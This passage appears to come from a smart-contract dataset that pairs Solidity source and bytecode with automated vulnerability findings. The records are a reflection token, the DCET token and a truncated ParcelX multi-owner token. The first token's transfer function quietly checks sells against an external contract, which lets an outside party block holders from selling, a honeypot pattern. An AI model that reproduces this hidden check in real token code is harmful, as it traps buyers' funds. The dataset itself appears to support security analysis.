require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102935780639e752b95146102c0578063a9059cbb146102e0578063dd62ed3e14610300578063f42938901461034657600080fd5b806356d9dce81461022157806370a0823114610236578063715018a6146102565780638da5cb5b1461026b57600080fd5b8063293230b8116100d1578063293230b8146101c4578063313ce567146101db5780633e07ce5b146101f757806351bc3c851461020c57600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a457600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526008815267426f6e642030303760c01b60208201525b60405161014891906114f2565b60405180910390f35b34801561015d57600080fd5b5061017161016c36600461155c565b61035b565b6040519015158152602001610148565b34801561018d57600080fd5b50610196610372565b604051908152602001610148565b3480156101b057600080fd5b506101716101bf366004611588565b610393565b3480156101d057600080fd5b506101d96103fc565b005b3480156101e757600080fd5b5060405160068152602001610148565b34801561020357600080fd5b506101d9610774565b34801561021857600080fd5b506101d96107aa565b34801561022d57600080fd5b506101d96107d7565b34801561024257600080fd5b506101966102513660046115c9565b610858565b34801561026257600080fd5b506101d961087a565b34801561027757600080fd5b506000546040516001600160a01b039091168152602001610148565b34801561029f57600080fd5b506040805180820190915260048152631093d39160e21b602082015261013b565b3480156102cc57600080fd5b506101d96102db3660046115e6565b61091e565b3480156102ec57600080fd5b506101716102fb36600461155c565b610947565b34801561030c57600080fd5b5061019661031b3660046115ff565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035257600080fd5b506101d9610954565b60006103683384846109be565b5060015b92915050565b60006103806006600a611732565b61038e906305f5e100611741565b905090565b60006103a0848484610ae2565b6103f284336103ed856040518060600160405280602881526020016118bf602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e1e565b6109be565b5060019392505050565b6009546001600160a01b0316331461041357600080fd5b600c54600160a01b900460ff16156104725760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049e9030906001600160a01b03166104906006600a611732565b6103ed906305f5e100611741565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105159190611760565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610577573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059b9190611760565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c9190611760565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063c81610858565b6000806106516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106de919061177d565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561074d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077191906117ab565b50565b6009546001600160a01b0316331461078b57600080fd5b6107976006600a611732565b6107a5906305f5e100611741565b600a55565b6009546001600160a01b031633146107c157600080fd5b60006107cc30610858565b905061077181610e58565b6009546001600160a01b031633146107ee57600080fd5b600c54600160a01b900460ff166108475760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610469565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036c90610fd2565b6000546001600160a01b031633146108d45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610469565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093557600080fd5b6009811061094257600080fd5b600855565b6000610368338484610ae2565b6009546001600160a01b0316331461096b57600080fd5b476107718161104f565b60006109b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108d565b9392505050565b6001600160a01b038316610a205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610469565b6001600160a01b038216610a815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610469565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610469565b6001600160a01b038216610ba85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610469565b60008111610c0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610469565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7d91906117cd565b600c546001600160a01b038481169116148015610ca85750600b546001600160a01b03858116911614155b610cb3576000610cb5565b815b1115610cc057600080fd5b6000546001600160a01b03848116911614801590610cec57506000546001600160a01b03838116911614155b15610e0e57600c546001600160a01b038481169116148015610d1c5750600b546001600160a01b03838116911614155b8015610d4157506001600160a01b03821660009081526004602052604090205460ff16155b15610d9757600a548110610d975760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610469565b6000610da230610858565b600c54909150600160a81b900460ff16158015610dcd5750600c546001600160a01b03858116911614155b8015610de25750600c54600160b01b900460ff165b15610e0c57610df081610e58565b47670de0b6b3a7640000811115610e0a57610e0a4761104f565b505b505b610e198383836110bb565b505050565b60008184841115610e425760405162461bcd60e51b815260040161046991906114f2565b506000610e4f84866117e6565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea057610ea06117fd565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d9190611760565b81600181518110610f3057610f306117fd565b6001600160a01b039283166020918202929092010152600b54610f5691309116846109be565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8f908590600090869030904290600401611813565b600060405180830381600087803b158015610fa957600080fd5b505af1158015610fbd573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110395760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610469565b60006110436110c6565b90506109b78382610975565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611089573d6000803e3d6000fd5b5050565b600081836110ae5760405162461bcd60e51b815260040161046991906114f2565b506000610e4f8486611884565b610e198383836110e9565b60008060006110d36111e0565b90925090506110e28282610975565b9250505090565b6000806000806000806110fb87611262565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112d90876112bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115c9086611301565b6001600160a01b03891660009081526002602052604090205561117e81611360565b61118884836113aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111cd91815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f56006600a611732565b611203906305f5e100611741565b905061122b6112146006600a611732565b611222906305f5e100611741565b60055490610975565b821015611259576005546112416006600a611732565b61124f906305f5e100611741565b9350935050509091565b90939092509050565b600080600080600080600080600061127f8a6007546008546113ce565b925092509250600061128f6110c6565b905060008060006112a28e878787611423565b919e509c509a509598509396509194505050505091939550919395565b60006109b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1e565b60008061130e83856118a6565b9050838110156109b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610469565b600061136a6110c6565b905060006113788383611473565b306000908152600260205260409020549091506113959082611301565b30600090815260026020526040902055505050565b6005546113b790836112bf565b6005556006546113c79082611301565b6006555050565b60008080806113e860646113e28989611473565b90610975565b905060006113fb60646113e28a89611473565b905060006114138261140d8b866112bf565b906112bf565b9992985090965090945050505050565b60008080806114328886611473565b905060006114408887611473565b9050600061144e8888611473565b905060006114608261140d86866112bf565b939b939a50919850919650505050505050565b6000826114825750600061036c565b600061148e8385611741565b90508261149b8583611884565b146109b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610469565b600060208083528351808285015260005b8181101561151f57858101830151858201604001528201611503565b81811115611531576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077157600080fd5b6000806040838503121561156f57600080fd5b823561157a81611547565b946020939093013593505050565b60008060006060848603121561159d57600080fd5b83356115a881611547565b925060208401356115b881611547565b929592945050506040919091013590565b6000602082840312156115db57600080fd5b81356109b781611547565b6000602082840312156115f857600080fd5b5035919050565b6000806040838503121561161257600080fd5b823561161d81611547565b9150602083013561162d81611547565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168957816000190482111561166f5761166f611638565b8085161561167c57918102915b93841c9390800290611653565b509250929050565b6000826116a05750600161036c565b816116ad5750600061036c565b81600181146116c357600281146116cd576116e9565b600191505061036c565b60ff8411156116de576116de611638565b50506001821b61036c565b5060208310610133831016604e8410600b841016171561170c575081810a61036c565b611716838361164e565b806000190482111561172a5761172a611638565b029392505050565b60006109b760ff841683611691565b600081600019048311821515161561175b5761175b611638565b500290565b60006020828403121561177257600080fd5b81516109b781611547565b60008060006060848603121561179257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117bd57600080fd5b815180151581146109b757600080fd5b6000602082840312156117df57600080fd5b5051919050565b6000828210156117f8576117f8611638565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118635784516001600160a01b03168352938301939183019160010161183e565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a157634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118b9576118b9611638565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a5381a1f60e0f8b3a2f293e52510b67dfe994fcfea5a1f81c11c672e624d46964736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,685 |
0x76998acaf3055d5da165a90ffab376e0bf69f89f
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = 0x482149F62258F6202D13e5219C92A6f9611Bf82d;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Function to prevent eth transfers to this contract
*/
function() public payable {
revert();
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return BasicToken(tokenAddress).transfer(owner, tokens);
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _toAddresses Receiver addresses.
* @param _amounts Amounts of tokens that will be transferred.
*/
function multiSend(address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _from The address of the sender
* @param _toAddresses The addresses of the recipients (MAX 255)
* @param _amounts The amounts of tokens to be transferred
*/
function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
}
contract DCETToken is StandardToken {
string public constant name = "Decentralized Faucet";
string public constant symbol = "DCET";
uint8 public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 2000000000 * (10 ** uint256(decimals));
function DCETToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[0x482149F62258F6202D13e5219C92A6f9611Bf82d] = INITIAL_SUPPLY;
Transfer(0x0, 0x482149F62258F6202D13e5219C92A6f9611Bf82d, INITIAL_SUPPLY);
}
}
|
0x60606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461007257806370a082311461009b5780638da5cb5b146100e8578063a9059cbb1461013d578063f2fde38b14610197575b600080fd5b341561007d57600080fd5b6100856101d0565b6040518082815260200191505060405180910390f35b34156100a657600080fd5b6100d2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506101da565b6040518082815260200191505060405180910390f35b34156100f357600080fd5b6100fb610223565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561014857600080fd5b61017d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610248565b604051808215151515815260200191505060405180910390f35b34156101a257600080fd5b6101ce600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061046c565b005b6000600254905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561028557600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156102d357600080fd5b61032582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103ba82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105da90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104c757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561050357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156105cf57fe5b818303905092915050565b60008082840190508381101515156105ee57fe5b80915050929150505600a165627a7a7230582096b795ac99b6d7cfbe5b179e0e86f908c59f6786c7c1abd187954a9c3aa9c5f20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,686 |
0x7d3a19604bc1341b411474272bd6dff5761e3153
|
pragma solidity 0.4.19;
// File: contracts\ERC20.sol
/**
* Starndard ERC20 interface: https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
* Remove short address attack checks from tokens(https://github.com/OpenZeppelin/openzeppelin-solidity/issues/261)
*/
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length >= size + 4);
_;
}
}
// File: contracts\MultiOwnable.sol
/**
* FEATURE 2): MultiOwnable implementation
* Transactions approved by _multiRequires of _multiOwners' addresses will be executed.
* All functions needing unit-tests cannot be INTERNAL
*/
contract MultiOwnable {
address[8] m_owners;
uint m_numOwners;
uint m_multiRequires;
mapping (bytes32 => uint) internal m_pendings;
event AcceptConfirm(bytes32 operation, address indexed who, uint confirmTotal);
// constructor is given number of sigs required to do protected "multiOwner" transactions
function MultiOwnable (address[] _multiOwners, uint _multiRequires) public {
require(0 < _multiRequires && _multiRequires <= _multiOwners.length);
m_numOwners = _multiOwners.length;
require(m_numOwners <= 8); // Bigger then 8 co-owners, not support !
for (uint i = 0; i < _multiOwners.length; ++i) {
m_owners[i] = _multiOwners[i];
require(m_owners[i] != address(0));
}
m_multiRequires = _multiRequires;
}
// Any one of the owners, will approve the action
modifier anyOwner {
if (isOwner(msg.sender)) {
_;
}
}
// Requiring num > m_multiRequires owners, to approve the action
modifier mostOwner(bytes32 operation) {
if (checkAndConfirm(msg.sender, operation)) {
_;
}
}
function isOwner(address currentUser) public view returns (bool) {
for (uint i = 0; i < m_numOwners; ++i) {
if (m_owners[i] == currentUser) {
return true;
}
}
return false;
}
function checkAndConfirm(address currentUser, bytes32 operation) public returns (bool) {
uint ownerIndex = m_numOwners;
uint i;
for (i = 0; i < m_numOwners; ++i) {
if (m_owners[i] == currentUser) {
ownerIndex = i;
}
}
if (ownerIndex == m_numOwners) {
return false; // Not Owner
}
uint newBitFinger = (m_pendings[operation] | (2 ** ownerIndex));
uint confirmTotal = 0;
for (i = 0; i < m_numOwners; ++i) {
if ((newBitFinger & (2 ** i)) > 0) {
confirmTotal ++;
}
}
AcceptConfirm(operation, currentUser, confirmTotal);
if (confirmTotal >= m_multiRequires) {
delete m_pendings[operation];
return true;
}
else {
m_pendings[operation] = newBitFinger;
return false;
}
}
}
// File: contracts\Pausable.sol
/**
* FEATURE 3): Pausable implementation
*/
contract Pausable is MultiOwnable {
event Pause();
event Unpause();
bool paused = false;
// Modifier to make a function callable only when the contract is not paused.
modifier whenNotPaused() {
require(!paused);
_;
}
// Modifier to make a function callable only when the contract is paused.
modifier whenPaused() {
require(paused);
_;
}
// called by the owner to pause, triggers stopped state
function pause() mostOwner(keccak256(msg.data)) whenNotPaused public {
paused = true;
Pause();
}
// called by the owner to unpause, returns to normal state
function unpause() mostOwner(keccak256(msg.data)) whenPaused public {
paused = false;
Unpause();
}
function isPause() view public returns(bool) {
return paused;
}
}
// File: contracts\SafeMath.sol
/**
* Standard SafeMath Library: zeppelin-solidity/contracts/math/SafeMath.sol
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\Convertible.sol
/**
* Exchange all my ParcelX token to mainchain GPX
*/
contract Convertible {
function convertMainchainGPX(string destinationAccount, string extra) external returns (bool);
// ParcelX deamon program is monitoring this event.
// Once it triggered, ParcelX will transfer corresponding GPX to destination account
